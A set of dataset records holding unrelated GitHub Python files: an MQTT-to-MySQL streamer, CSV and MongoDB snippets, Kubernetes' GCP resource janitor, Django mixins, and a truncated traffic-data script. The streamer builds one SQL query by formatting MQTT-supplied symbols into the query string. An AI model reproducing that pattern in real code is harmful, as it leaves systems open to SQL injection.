commit\r\n s.add(obj)\r\n s.commit()\r\n \r\n objId = obj.id\r\n for propName in settings.childKeys():\r\n propVal = str(settings.value(propName).toString())\r\n props.append((propName, propVal))\r\n \r\n objProp = tables.ObjectProperty(objId, str(propName), propVal)\r\n s.add(objProp)\r\n s.commit()\r\n #print i, h, propName\r\n settings.endGroup() \r\n print(layoutName, objType, objType, props)\r\n settings.endGroup()\r\n settings.endGroup()\r\n\r\nload()\r\n#app = QtGui.QApplication(0)","repo_name":"marvin939/label-designer","sub_path":"converttodb.py","file_name":"converttodb.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1750897460","text":"import paho.mqtt.client as mqtt\nimport time, sys\nimport yaml\nimport json\nimport random\nimport pprint\nfrom configparser import ConfigParser\nfrom mysql.connector import MySQLConnection, Error\nimport threading\nimport datetime\nimport logging\nfrom logging.handlers import RotatingFileHandler\n\n\ndef read_db_config(filename='config.ini', section='sql_info'):\n \"\"\" Read database configuration file and return a dictionary object\n :param filename: name of the configuration file\n :param section: section of database configuration\n :return: a dictionary of database parameters\n \"\"\"\n # create parser and read ini configuration file\n parser = ConfigParser()\n parser.read(filename)\n\n # get section, default to serverInfo\n db = {}\n if parser.has_section(section):\n items = parser.items(section)\n for item in items:\n db[item[0]] = item[1]\n else:\n raise Exception('{0} not found in the {1} file'.format(section, filename))\n\n return db\n\n\nwhileLoop = True\n\nuid = time.time()\nlogInfo = read_db_config(section='logInfo')\nseverInfo = read_db_config(section='serverInfo')\ndataInfo = read_db_config(section='dataInfo')\nsqlOption = read_db_config(section='sql_option')\nDELETE_TIME_INTERVAL = sqlOption['delete_time_interval']\nstart_t = time.time()\ndelete_counter = 0\n# DELETE_LIMIT = sqlOption['delete_limit']\n# print(severInfo)\n# print(dataInfo)\n# print(logInfo)\n\ndb_config = read_db_config(section='sql_info')\n# conn = MySQLConnection(**db_config)\n\n# Configure logging\n# logging.basicConfig(filename=logInfo['log_file_name'], filemode='w', level=int(logInfo['level']), format='[%(asctime)s] p%(process)s|%(levelname)s|L_%(lineno)d: %(message)s')\nlog = logging.getLogger('root')\nlog.setLevel(int(logInfo['level']))\nformatter = logging.Formatter('[%(asctime)s] p%(process)s|%(levelname)s|L_%(lineno)d: %(message)s')\nformatter.converter = time.gmtime\nhandler = RotatingFileHandler(logInfo['log_file_name'], mode='w', maxBytes=int(logInfo['max_size']) * 1024 * 1024,\n backupCount=1, encoding=None, delay=0)\nhandler.setFormatter(formatter)\n# handler.setLevel(int(logInfo['level']))\nlog.addHandler(handler)\n\n\ndef query_book(conn, f, symbol, book='quote', q_type='insert'):\n if book == 'quote':\n if q_type == 'insert':\n query = \"INSERT INTO quote(`symbol`, `bid`, `last`, `ask`, `change`, `high`, `low`, `open`, `prev_close`, `time`, `timestamp`)\" \\\n \"VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s, UTC_TIMESTAMP(), UNIX_TIMESTAMP())\"\n val = (symbol, f['bid'], f['last'], f['ask'], f['change'], f['high'], f['low'], f['open'], f['close'])\n elif q_type == 'update':\n query = \"UPDATE quote SET `bid`=%s, `last`=%s, `ask`=%s, `change`=%s, `high`=%s, `low`=%s, `open`=%s, `prev_close`=%s, `time`=UTC_TIMESTAMP(), `timestamp`=UNIX_TIMESTAMP()\" \\\n \"WHERE `symbol`=%s\"\n val = (f['bid'], f['last'], f['ask'], f['change'], f['high'], f['low'], f['open'], f['close'], symbol)\n elif book == 'quotelog':\n if q_type == 'insert':\n query = \"INSERT INTO quotelog(`symbol`, `bid`, `last`, `ask`, `change`, `high`, `low`, `open`, `prev_close`, `time`, `timestamp`)\" \\\n \"VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s, UTC_TIMESTAMP(), UNIX_TIMESTAMP())\"\n val = (symbol, f['bid'], f['last'], f['ask'], f['change'], f['high'], f['low'], f['open'], f['close'])\n log.info('---------------------------------------------------')\n log.info('[QUERY-{}-{}]{}'.format(book, q_type, query))\n log.info('[VALUES-{}-{}]{}'.format(book, q_type, val))\n log.info('---------------------------------------------------')\n try:\n cursor = conn.cursor()\n cursor.execute(query, val)\n conn.commit()\n except Error as error:\n log.error(error)\n return 0\n finally:\n if cursor:\n cursor.close()\n return 1\n\n\nclass UpdateDatabase(threading.Thread):\n def __init__(self, name, f, symbol):\n threading.Thread.__init__(self)\n self.name = name\n self.data = f\n self.symbol = symbol\n self.time_start = time.time()\n self.sql = MySQLConnection\n\n def run(self):\n # log.info(\"thread {} started\".format(self.name))\n try:\n if not self.update_database(self.data, self.symbol):\n log.error('update db failed')\n except Error as e:\n log.error(e)\n log.error('update db failed')\n finally:\n log.debug(\n 'thread {}, Total time: {}'.format(self.name, time.time() - self.time_start))\n\n def update_database(self, f, symbol):\n global db_config\n # print(symbol)\n # print(f)\n query = \"SELECT * FROM {} WHERE symbol ='{}'\".format('quote', symbol)\n try:\n # db_config = read_db_config()\n conn = self.sql(**db_config)\n cursor = conn.cursor()\n cursor.execute(query)\n if len(cursor.fetchall()) == 0:\n # print('Create New %s' % symbol)\n query_book(conn, f, symbol, 'quote', 'insert')\n else:\n # print('%s exist' % symbol)\n query_book(conn, f, symbol, 'quote', 'update')\n # query_book(conn, f, symbol, 'quote', 'update')\n\n # Insert to querylog table\n # for s in range(0, 1000):\n # query_book(conn, f, symbol, 'quotelog', 'insert')\n except Error as e:\n log.error(e)\n return 0\n finally:\n try:\n if cursor:\n cursor.close()\n conn.close()\n except Exception as e:\n log.error(e)\n return 1\n\n\nclass DeleteQuotelog(threading.Thread):\n def __init__(self, name, threadID):\n global sqlOption\n threading.Thread.__init__(self)\n self.name = name\n self.threadID = threadID\n self.time_start = time.time()\n self.DELETE_TIME_INTERVAL = sqlOption['delete_time_interval']\n self.MySQLConnection = MySQLConnection\n\n def run(self):\n log.info(\"thread {}-{} started\".format(self.name, self.threadID))\n try:\n if not self.delete_quotelog():\n log.error('Delete quotelog failed')\n except Error as e:\n log.error(e)\n log.error('delete quotelog failed')\n finally:\n log.info(\n 'thread {}-{} Stopped. Total time: {}'.format(self.name, self.threadID, time.time() - self.time_start))\n\n def delete_quotelog(self):\n global db_config\n query = \"SELECT priceid FROM quotelog WHERE timestamp < (UNIX_TIMESTAMP() - {} * 60)\".format(\n self.DELETE_TIME_INTERVAL)\n try:\n connection = self.MySQLConnection(**db_config)\n cur = connection.cursor()\n cur.execute(query)\n result = cur.fetchall()\n log.info(\"$$$$$$$ Total Items from quotelog will delete: {}\".format(len(result)))\n if len(result) > 999:\n # print('type: {} - {}\\n {} - {}'.format(len(result), result, result[0][0], result[-1][0]))\n d_query = \"DELETE FROM quotelog WHERE priceid BETWEEN {} and {}\".format(result[0][0], result[-1][0])\n # print(d_query)\n cur.execute(d_query)\n connection.commit()\n except Exception as e:\n log.error(e)\n return 0\n finally:\n try:\n connection.close()\n cur.close()\n except Exception as e:\n log.error(e)\n return 1\n\n\ndef datachanged_on_message(client, userdata, message):\n global start_t, DELETE_TIME_INTERVAL, delete_counter\n msg = str(message.payload.decode(\"utf-8\"))\n log.debug(msg)\n # my_print(msg)\n # parse json\n msg_json = json.loads(msg)\n # Get symbol key & data\n for key in msg_json['symbols'].keys():\n symbol_key = key\n symbol_data = msg_json['symbols'][symbol_key]\n # print(symbol_data)\n # print(symbol_key)\n # Update to database\n try:\n # update_database(symbol_data, symbol_key)\n UpdateDatabase(\"Update quote\", symbol_data, symbol_key).start()\n # delete_counter += 1\n # Check Delete Quotelog\n # current_t = time.time()\n # if delete_counter > 1000:\n # gmt_wday = time.gmtime().tm_wday\n # if gmt_wday != 5 and gmt_wday != 6:\n # DeleteQuotelog(\"Delete quotelog\", 1).start()\n # delete_counter = 0\n # # start_t = time.time()\n except Exception as e:\n log.error(e)\n log.error('Update database Error')\n\n\ndef on_connect(client, userdata, flags, rc):\n sw_connection_result = {\n 0: \"Rabbit MQTT - Connection successful\",\n 1: \"Rabbit MQTT - Connection refused - incorrect protocol version\",\n 2: \"Rabbit MQTT - Connection refused - invalid client identifier\",\n 3: \"Rabbit MQTT - Connection refused - server unavailable\",\n 4: \"Rabbit MQTT - Connection refused - bad username or password\",\n 5: \"Rabbit MQTT - Connection refused - not authorised\"\n }\n\n log.info(sw_connection_result.get(rc, \"Rabbit MQTT - Connection refused - Other failed\"))\n if rc == 0:\n client.subscribe(dataInfo[\"datachanged_bind_key\"], int(dataInfo[\"datachanged_qos\"]))\n log.info(\"Subcribe '{}' Success\".format(dataInfo[\"datachanged_bind_Key\"]))\n\n\ndef on_disconnect(client, userdata, rc):\n if rc != 0:\n log.error(\"Unexpected MQTT disconnection. Will auto-reconnect\")\n\n\ndef main():\n print(\"Streamer running, log write to {} ......\".format(logInfo['log_file_name']))\n # Create a mqtt client object\n try:\n c_datachanged = mqtt.Client(dataInfo[\"datachanged_queue_name\"] + \"_\" + str(uid))\n except Error as e:\n log.error(e)\n log.error(\"Initial mqtt Client failed, Please check 'dataInfo' & 'datachanged_queue_name' options!\")\n exit(-1)\n # Set username & password\n try:\n c_datachanged.username_pw_set(severInfo[\"username\"], severInfo[\"password\"])\n except Error as e:\n log.error(e)\n log.error(\"Set Username & Password failed, Please check 'serverInfo' & 'username' & 'password' options!\")\n exit(-1)\n # Set the mqtt client other options\n c_datachanged.on_message = datachanged_on_message\n c_datachanged.on_disconnect = on_disconnect\n c_datachanged.on_connect = on_connect\n # Connect to Server\n try:\n c_datachanged.connect(severInfo[\"host\"], int(severInfo[\"port\"]))\n except Error as e:\n log.error(e)\n log.error(\"Connect to server failed, Please check 'host' & 'port' options!\")\n exit(-1)\n\n # Start thread - delete quotelog\n DeleteQuotelog(\"Delete quotelog\", 1).start()\n\n c_datachanged.loop_start()\n # c_datachanged.loop_forever()\n\n global whileLoop, DELETE_TIME_INTERVAL\n\n while whileLoop:\n # print('a')\n try:\n time.sleep(0.2)\n except KeyboardInterrupt:\n log.info(\"User Ctrl + C. Closing program...!\")\n whileLoop = False\n c_datachanged.disconnect()\n\n log.info(\"Closed!\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"thuanzero94/datapushapp_pytool","sub_path":"streamer_python.py","file_name":"streamer_python.py","file_ext":"py","file_size_in_byte":11284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28795049185","text":"import csv\nimport json\n\n\n# Function to convert a CSV to JSON\n# Takes the file paths as arguments\ncsvFilePath = 'gws.csv'\njsonFilePath = 'Names.json'\n\ndata ={}\nwith open(csvFilePath, encoding='utf-8') as csvf:\n\tcsvReader = csv.DictReader(csvf)\n\tfor rows in csvReader:\n\t\tid = rows['user_id']\n\t\tdata[id] = rows\n\t\t\n# function to dump data\nwith open(jsonFilePath, 'w') as jsonFile:\n\tjsonFile.write(json.dumps(data, indent=4))","repo_name":"PrasadiSewwandi/Learned-Things-at-Novigi","sub_path":"SelfLearnings/Important_previouse_work/python script for data population_Read csv file and convert them to json and make a post request/code/test05.py","file_name":"test05.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"69844966487","text":"from pymongo import MongoClient\n\n\"\"\"To create a database in MongoDB, start by creating a MongoClient object, then specify a connection URL with the correct ip address and \nthe name of the database you want to create.\"\"\"\n\nmyclient =MongoClient('localhost', 27017)\n\n\nmydb=myclient['EmployeeDetail']\n\n\n\n\"\"\"Important: In MongoDB, a database is not created until it gets content!\n\nMongoDB waits until you have created a collection (table), with at least one document (record)\n before it actually creates the database (and collection).\"\"\"\n\n\n# check if a database exist by listing all databases in you system\n\n# Return a list of your system's databases\nprint(myclient.list_database_names())\n\n# Check if \"EmployeeDetail\" exists\n\ndblist=myclient.list_database_names()\nif \"EmployeeDetail\" in dblist:\n print(\"The database Exits\")\nelse:\n print(\"The database not Exits\")\n","repo_name":"PoojaDasIndia/Python_SQL","sub_path":"MongoDB/py_mongodb_CB.py","file_name":"py_mongodb_CB.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70874680727","text":"import argparse\nimport collections\nimport datetime\nimport json\nimport os\nimport subprocess\nimport sys\nimport threading\n\n# A resource that need to be cleared.\nResource = collections.namedtuple(\n 'Resource', 'api_version group name subgroup condition managed tolerate bulk_delete')\nDEMOLISH_ORDER = [\n # [WARNING FROM KRZYZACY] : TOUCH THIS WITH CARE!\n # ORDER REALLY MATTERS HERE!\n\n # compute resources\n Resource('', 'compute', 'instances', None, 'zone', None, False, True),\n Resource('', 'compute', 'addresses', None, 'global', None, False, True),\n Resource('', 'compute', 'addresses', None, 'region', None, False, True),\n Resource('', 'compute', 'disks', None, 'zone', None, False, True),\n Resource('', 'compute', 'disks', None, 'region', None, False, True),\n Resource('', 'compute', 'firewall-rules', None, None, None, False, True),\n Resource('', 'compute', 'forwarding-rules', None, 'global', None, False, True),\n Resource('', 'compute', 'forwarding-rules', None, 'region', None, False, True),\n Resource('', 'compute', 'target-http-proxies', None, 'global', None, False, True),\n Resource('', 'compute', 'target-http-proxies', None, 'region', None, False, True),\n Resource('', 'compute', 'target-https-proxies', None, 'global', None, False, True),\n Resource('', 'compute', 'target-https-proxies', None, 'region', None, False, True),\n Resource('', 'compute', 'target-tcp-proxies', None, None, None, False, True),\n Resource('', 'compute', 'ssl-certificates', None, 'global', None, False, True),\n Resource('', 'compute', 'ssl-certificates', None, 'region', None, False, True),\n Resource('', 'compute', 'url-maps', None, 'global', None, False, True),\n Resource('', 'compute', 'url-maps', None, 'region', None, False, True),\n Resource('', 'compute', 'backend-services', None, 'global', None, False, True),\n Resource('', 'compute', 'backend-services', None, 'region', None, False, True),\n Resource('', 'compute', 'target-pools', None, 'region', None, False, True),\n Resource('', 'compute', 'health-checks', None, 'global', None, False, True),\n Resource('', 'compute', 'health-checks', None, 'region', None, False, True),\n Resource('', 'compute', 'http-health-checks', None, None, None, False, True),\n Resource('', 'compute', 'instance-groups', None, 'region', 'Yes', False, True),\n Resource('', 'compute', 'instance-groups', None, 'zone', 'Yes', False, True),\n Resource('', 'compute', 'instance-groups', None, 'zone', 'No', False, True),\n Resource('', 'compute', 'instance-templates', None, None, None, False, True),\n Resource('', 'compute', 'sole-tenancy', 'node-groups', 'zone', None, False, True),\n Resource('', 'compute', 'sole-tenancy', 'node-templates', 'region', None, False, True),\n Resource('', 'compute', 'network-endpoint-groups', None, 'zone', None, False, False),\n Resource('', 'compute', 'routes', None, None, None, False, True),\n Resource('', 'compute', 'routers', None, 'region', None, False, True),\n Resource('', 'compute', 'networks', 'subnets', 'region', None, True, True),\n Resource('', 'compute', 'networks', None, None, None, False, True),\n\n # logging resources\n Resource('', 'logging', 'sinks', None, None, None, False, False),\n]\n\n\ndef log(message):\n \"\"\" print a message if --verbose is set. \"\"\"\n if ARGS.verbose:\n tss = \"[\" + str(datetime.datetime.now()) + \"] \"\n print(tss + message + '\\n')\n\n\ndef base_command(resource):\n \"\"\" Return the base gcloud command with api_version, group and subgroup.\n\n Args:\n resource: Definition of a type of gcloud resource.\n Returns:\n list of base commands of gcloud .\n \"\"\"\n\n base = ['gcloud']\n if resource.api_version:\n base += [resource.api_version]\n base += [resource.group, '-q', resource.name]\n if resource.subgroup:\n base.append(resource.subgroup)\n return base\n\n\ndef validate_item(item, age, resource, clear_all):\n \"\"\" Validate if an item need to be cleaned.\n\n Args:\n item: a gcloud resource item from json format.\n age: Time cutoff from the creation of a resource.\n resource: Definition of a type of gcloud resource.\n clear_all: If need to clean regardless of timestamp.\n Returns:\n True if object need to be cleaned, False otherwise.\n Raises:\n ValueError if json result from gcloud is invalid.\n \"\"\"\n\n if resource.managed:\n if 'isManaged' not in item:\n raise ValueError(resource.name, resource.managed)\n if resource.managed != item['isManaged']:\n return False\n\n # clears everything without checking creationTimestamp\n if clear_all:\n return True\n\n if 'creationTimestamp' not in item:\n raise ValueError('missing key: creationTimestamp - %r' % item)\n\n # Unify datetime to use utc timezone.\n created = datetime.datetime.strptime(item['creationTimestamp'], '%Y-%m-%dT%H:%M:%S')\n log('Found %r(%r), %r, created time = %r' %\n (resource.name, resource.subgroup, item['name'], item['creationTimestamp']))\n if created < age:\n log('Added to janitor list: %r(%r), %r' %\n (resource.name, resource.subgroup, item['name']))\n return True\n return False\n\n\ndef collect(project, age, resource, filt, clear_all):\n \"\"\" Collect a list of resources for each condition (zone or region).\n\n Args:\n project: The name of a gcp project.\n age: Time cutoff from the creation of a resource.\n resource: Definition of a type of gcloud resource.\n filt: Filter clause for gcloud list command.\n clear_all: If need to clean regardless of timestamp.\n Returns:\n A dict of condition : list of gcloud resource object.\n Raises:\n ValueError if json result from gcloud is invalid.\n subprocess.CalledProcessError if cannot list the gcloud resource\n \"\"\"\n\n col = collections.defaultdict(list)\n\n # TODO(krzyzacy): logging sink does not have timestamp\n # don't even bother listing it if not clear_all\n if resource.name == 'sinks' and not clear_all:\n return col\n\n cmd = base_command(resource)\n cmd.extend([\n 'list',\n '--format=json(name,creationTimestamp.date(tz=UTC),zone,region,isManaged)',\n '--filter=%s' % filt,\n '--project=%s' % project])\n if resource.condition == 'zone' and resource.name != 'sole-tenancy' and resource.name != 'network-endpoint-groups':\n cmd.append('--zones=asia-east1-a,asia-east1-b,asia-east1-c,asia-east2-a,asia-east2-b,asia-east2-c,' +\n 'asia-northeast1-a,asia-northeast1-b,asia-northeast1-c,asia-northeast2-a,asia-northeast2-b,asia-northeast2-c,' +\n 'asia-northeast3-a,asia-northeast3-b,asia-northeast3-c,asia-south1-a,asia-south1-b,asia-south1-c,' +\n 'asia-southeast1-a,asia-southeast1-b,asia-southeast1-c,australia-southeast1-a,australia-southeast1-b,' +\n 'australia-southeast1-c,europe-north1-a,europe-north1-b,europe-north1-c,europe-west1-b,europe-west1-c,' +\n 'europe-west1-d,europe-west2-a,europe-west2-b,europe-west2-c,europe-west3-a,europe-west3-b,europe-west3-c,' +\n 'europe-west4-a,europe-west4-b,europe-west4-c,europe-west6-a,europe-west6-b,europe-west6-c,' +\n 'northamerica-northeast1-a,northamerica-northeast1-b,northamerica-northeast1-c,southamerica-east1-a,' +\n 'southamerica-east1-b,southamerica-east1-c,us-central1-a,us-central1-b,us-central1-c,us-central1-f,' +\n 'us-east1-b,us-east1-c,us-east1-d,us-east4-a,us-east4-b,us-east4-c,us-west1-a,us-west1-b,us-west1-c,' +\n 'us-west2-a,us-west2-b,us-west2-c,us-west3-a,us-west3-b,us-west3-c')\n log('%r' % cmd)\n\n # TODO(krzyzacy): work around for alpha API list calls\n try:\n items = subprocess.check_output(cmd)\n except subprocess.CalledProcessError:\n if resource.tolerate:\n return col\n raise\n\n for item in json.loads(items):\n log('parsing item: %r' % item)\n\n if 'name' not in item:\n raise ValueError('missing key: name - %r' % item)\n\n colname = ''\n if resource.condition is not None:\n # This subcommand will want either a --global, --region, or --zone\n # flag, so segment items accordingly.\n if resource.condition == 'global':\n if 'zone' in item or 'region' in item:\n # This item is zonal or regional, so don't include it in\n # the global list.\n continue\n elif resource.condition in item:\n # Looking for zonal or regional items, and this matches.\n # The zone or region is sometimes a full URL (why?), but\n # subcommands want just the name, not the full URL, so strip it.\n colname = item[resource.condition].rsplit('/', 1)[-1]\n log('looking for items in %s=%s' % (resource.condition, colname))\n else:\n # This item doesn't match the condition, so don't include it.\n continue\n\n if validate_item(item, age, resource, clear_all):\n col[colname].append(item['name'])\n return col\n\ndef asyncCall(cmd, tolerate, name, errs, lock, hide_output):\n log('%sCall %r' % ('[DRYRUN] ' if ARGS.dryrun else '', cmd))\n if ARGS.dryrun:\n return\n try:\n if hide_output:\n FNULL = open(os.devnull, 'w')\n subprocess.check_call(cmd, stdout=FNULL)\n else:\n subprocess.check_call(cmd)\n except subprocess.CalledProcessError as exc:\n if not tolerate:\n with lock:\n errs.append(exc)\n print('Error try to delete resources %s: %r' % (name, exc), file=sys.stderr)\n\ndef clear_resources(project, cols, resource, rate_limit):\n \"\"\"Clear a collection of resource, from collect func above.\n\n Args:\n project: The name of a gcp project.\n cols: A dict of collection of resource.\n resource: Definition of a type of gcloud resource.\n rate_limit: how many resources to delete per gcloud delete call\n Returns:\n 0 if no error\n > 0 if deletion command fails\n \"\"\"\n errs = []\n threads = list()\n lock = threading.Lock()\n\n # delete one resource at a time, if there's no api support\n # aka, logging sinks for example\n if not resource.bulk_delete:\n rate_limit = 1\n\n for col, items in list(cols.items()):\n manage_key = {'Yes': 'managed', 'No': 'unmanaged'}\n\n # construct the customized gcloud command\n base = base_command(resource)\n if resource.managed:\n base.append(manage_key[resource.managed])\n base.append('delete')\n base.append('--project=%s' % project)\n\n condition = None\n if resource.condition and col:\n condition = '--%s=%s' % (resource.condition, col)\n elif resource.condition == 'global':\n condition = '--global'\n\n log('going to delete %d %s' % (len(items), resource.name))\n # try to delete at most $rate_limit items at a time\n for idx in range(0, len(items), rate_limit):\n clean = items[idx:idx + rate_limit]\n cmd = base + list(clean)\n if condition:\n cmd.append(condition)\n thread = threading.Thread(\n target=asyncCall, args=(cmd, resource.tolerate, resource.name, errs, lock, False))\n threads.append(thread)\n log('start a new thread, total %d' % len(threads))\n thread.start()\n\n log('Waiting for all %d thread to finish' % len(threads))\n for thread in threads:\n thread.join()\n return len(errs)\n\n\ndef clean_gke_cluster(project, age, filt):\n \"\"\"Clean up potential leaking gke cluster\"\"\"\n\n # a cluster can be created in one of those three endpoints\n endpoints = [\n 'https://test-container.sandbox.googleapis.com/', # test\n 'https://staging-container.sandbox.googleapis.com/', # staging\n 'https://staging2-container.sandbox.googleapis.com/', # staging2\n 'https://container.googleapis.com/', # prod\n ]\n\n errs = []\n\n for endpoint in endpoints:\n threads = list()\n lock = threading.Lock()\n\n os.environ['CLOUDSDK_API_ENDPOINT_OVERRIDES_CONTAINER'] = endpoint\n log(\"checking endpoint %s\" % endpoint)\n cmd = [\n 'gcloud', 'container', '-q', 'clusters', 'list',\n '--project=%s' % project,\n '--filter=%s' % filt,\n '--format=json(name,createTime,region,zone)'\n ]\n log('running %s' % cmd)\n\n output = ''\n try:\n output = subprocess.check_output(cmd)\n except subprocess.CalledProcessError as exc:\n # expected error\n log('Cannot reach endpoint %s with %r, continue' % (endpoint, exc))\n continue\n\n for item in json.loads(output):\n log('cluster info: %r' % item)\n if 'name' not in item or 'createTime' not in item:\n raise ValueError('name and createTime must be present: %r' % item)\n if not ('zone' in item or 'region' in item):\n raise ValueError('either zone or region must be present: %r' % item)\n\n # The raw createTime string looks like 2017-08-30T18:33:14+00:00\n # Which python 2.7 does not support timezones.\n # Since age is already in UTC time we'll just strip the timezone part\n item['createTime'] = item['createTime'].split('+')[0]\n created = datetime.datetime.strptime(\n item['createTime'], '%Y-%m-%dT%H:%M:%S')\n\n if created < age:\n log('Found stale gke cluster %r in %r, created time = %r' %\n (item['name'], endpoint, item['createTime']))\n delete = [\n 'gcloud', 'container', '-q', 'clusters', 'delete',\n item['name'],\n '--project=%s' % project,\n ]\n if 'zone' in item:\n delete.append('--zone=%s' % item['zone'])\n elif 'region' in item:\n delete.append('--region=%s' % item['region'])\n thread = threading.Thread(\n target=asyncCall, args=(delete, False, item['name'], errs, lock, True))\n threads.append(thread)\n log('start a new thread, total %d' % len(threads))\n thread.start()\n\n log('Waiting for all %d thread to finish in %s' % (len(threads), endpoint))\n for thread in threads:\n thread.join()\n\n return len(errs) > 0\n\n\ndef activate_service_account(service_account):\n print('[=== Activating service_account %s ===]' % service_account)\n cmd = [\n 'gcloud', 'auth', 'activate-service-account',\n '--key-file=%s' % service_account,\n ]\n log('running %s' % cmd)\n\n try:\n subprocess.check_call(cmd)\n except subprocess.CalledProcessError:\n print('Error try to activate service_account: %s' % service_account, file=sys.stderr)\n return 1\n return 0\n\n\ndef main(project, days, hours, filt, rate_limit, service_account):\n \"\"\" Clean up resources from a gcp project based on it's creation time\n\n Args:\n project: The name of a gcp project.\n days/hours: days/hours of maximum lifetime of a gcp resource.\n filt: Resource instance filters when query.\n Returns:\n 0 if no error\n 1 if list or delete command fails\n \"\"\"\n\n print('[=== Start Janitor on project %r ===]' % project)\n err = 0\n age = datetime.datetime.utcnow() - datetime.timedelta(days=days, hours=hours)\n clear_all = (days == 0 and hours == 0)\n\n if service_account:\n err |= activate_service_account(service_account)\n if err:\n print('Failed to activate service account %r' % (\n service_account), file=sys.stderr)\n sys.exit(err)\n\n # try to clean a leaked GKE cluster first, rather than attempting to delete\n # its associated resources individually.\n try:\n err |= clean_gke_cluster(project, age, filt)\n except ValueError:\n err |= 1 # keep clean the other resource\n print('Fail to clean up cluster from project %r' % project, file=sys.stderr)\n\n for res in DEMOLISH_ORDER:\n log('Try to search for %r with condition %r, managed %r' % (\n res.name, res.condition, res.managed))\n try:\n col = collect(project, age, res, filt, clear_all)\n if col:\n err |= clear_resources(project, col, res, rate_limit)\n except (subprocess.CalledProcessError, ValueError):\n err |= 1 # keep clean the other resource\n print('Fail to list resource %r from project %r' % (\n res.name, project), file=sys.stderr)\n\n print('[=== Finish Janitor on project %r with status %r ===]' % (project, err))\n sys.exit(err)\n\n\nif __name__ == '__main__':\n PARSER = argparse.ArgumentParser(\n description='Clean up resources from an expired project')\n PARSER.add_argument('--project', help='Project to clean', required=True)\n PARSER.add_argument(\n '--days', type=int,\n help='Clean items more than --days old (added to --hours)')\n PARSER.add_argument(\n '--hours', type=float,\n help='Clean items more than --hours old (added to --days)')\n PARSER.add_argument(\n '--filter',\n default='name !~ ^default',\n help='Filter down to these instances')\n PARSER.add_argument(\n '--dryrun',\n default=False,\n action='store_true',\n help='List but not delete resources')\n PARSER.add_argument(\n '--ratelimit', type=int, default=50,\n help='Max number of resources to bulk clear in one gcloud delete call')\n PARSER.add_argument(\n '--verbose', action='store_true',\n help='Get full janitor output log')\n PARSER.add_argument(\n '--service_account',\n help='GCP service account',\n default=os.environ.get(\"GOOGLE_APPLICATION_CREDENTIALS\", None))\n ARGS = PARSER.parse_args()\n\n # We want to allow --days=0 and --hours=0, so check against None instead.\n if ARGS.days is None and ARGS.hours is None:\n print('must specify --days and/or --hours', file=sys.stderr)\n sys.exit(1)\n\n main(ARGS.project, ARGS.days or 0, ARGS.hours or 0, ARGS.filter,\n ARGS.ratelimit, ARGS.service_account)","repo_name":"kubernetes/test-infra","sub_path":"boskos/cmd/janitor/gcp_janitor.py","file_name":"gcp_janitor.py","file_ext":"py","file_size_in_byte":18516,"program_lang":"python","lang":"en","doc_type":"code","stars":3709,"dataset":"github-code","pt":"31"} +{"seq_id":"16086512708","text":"import json\r\nfrom django.http import HttpResponse\r\n\r\nclass JsonResponseBase(object):\r\n def render_to_json_response(self, context, **response_kwargs):\r\n data = json.dumps(context)\r\n response_kwargs['content_type'] = 'application/json'\r\n \r\n return HttpResponse(data, **response_kwargs)\r\n\r\nclass AjaxableResponseMixin(JsonResponseBase):\r\n\r\n def form_invalid(self, form):\r\n response = super(AjaxableResponseMixin, self).form_invalid(form)\r\n if self.request.is_ajax():\r\n return self.render_to_json_response(form.errors, status=400)\r\n else:\r\n return response\r\n\r\n def form_valid(self, form):\r\n response = super(AjaxableResponseMixin, self).form_valid(form)\r\n \r\n if self.request.is_ajax():\r\n data = {\r\n 'pk': self.object.pk,\r\n }\r\n return self.render_to_json_response(data)\r\n else:\r\n return response\r\n\r\nclass AjaxDeletionMixin(JsonResponseBase):\r\n \r\n def delete(self, request, *args, **kwargs):\r\n response = super(AjaxDeletionMixin, self).delete(request, *args, **kwargs)\r\n if request.is_ajax():\r\n return HttpResponse('')\r\n else:\r\n return response\r\n\r\n","repo_name":"liushigit/homework_free","sub_path":"general_tools_app/views/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16493436999","text":"import argparse\nimport configparser\nimport os.path\n\nimport numpy as np\nfrom tqdm import trange\n\n\ndef search_window_range(sequence_length: int, num_of_depend: int,\n label_start_idx: int, predict_steps: int,\n units: int, points_per_hour: int):\n \"\"\"\n 序列窗口数据区间左右边界搜索\n :param sequence_length: 序列长度\n :param num_of_depend: 需要预测的周期数\n :param label_start_idx: 标签开始索引\n :param predict_steps: 预测时间步数量\n :param units: 基本单元，单位为 hour\n :param points_per_hour: 每小时的采样点数量\n :return: 索引边界列表\n \"\"\"\n\n # 判断参数合法性\n if points_per_hour < 0:\n raise ValueError(\"param points_per_hour should be greater than 0!\")\n\n # 判断右边界是否越界，若越界，则本次搜索作废\n if label_start_idx + predict_steps > sequence_length:\n return None\n\n window_idx = []\n for i in range(1, num_of_depend + 1):\n window_start_idx = label_start_idx - points_per_hour * units * i\n window_end_idx = window_start_idx + predict_steps\n\n # 判断左边界是否越界，若越界，则本次搜索非法\n if window_start_idx > 0:\n window_idx.append((window_start_idx, window_end_idx))\n else:\n return None\n\n if len(window_idx) != num_of_depend:\n return None\n\n # 倒序取出\n return window_idx[::-1]\n\n\ndef get_sample(data_sequence: np.ndarray, num_of_weeks: int, num_of_days: int,\n num_of_hours: int, label_start_idx: int, predict_step: int,\n points_per_hour=12):\n \"\"\"\n 获取数据样本\n :param data_sequence: 数据序列\n :param num_of_weeks: 预测输入星期数\n :param num_of_days: 预测输入天数\n :param num_of_hours: 预测输入小时数\n :param label_start_idx: 标签开始索引\n :param predict_step: 预测时间步\n :param points_per_hour: 每小时包含多少采样点\n :return: (week_sample, day_sample, hour_sample, target)\n week_sample: np.ndarray (W x 12, vertices_num, features_num)\n day_sample: np.ndarray (D x 12, vertices_num, features_num)\n hour_sample: np.ndarray (H x 12, vertices_num, features_num)\n \"\"\"\n week_sample, 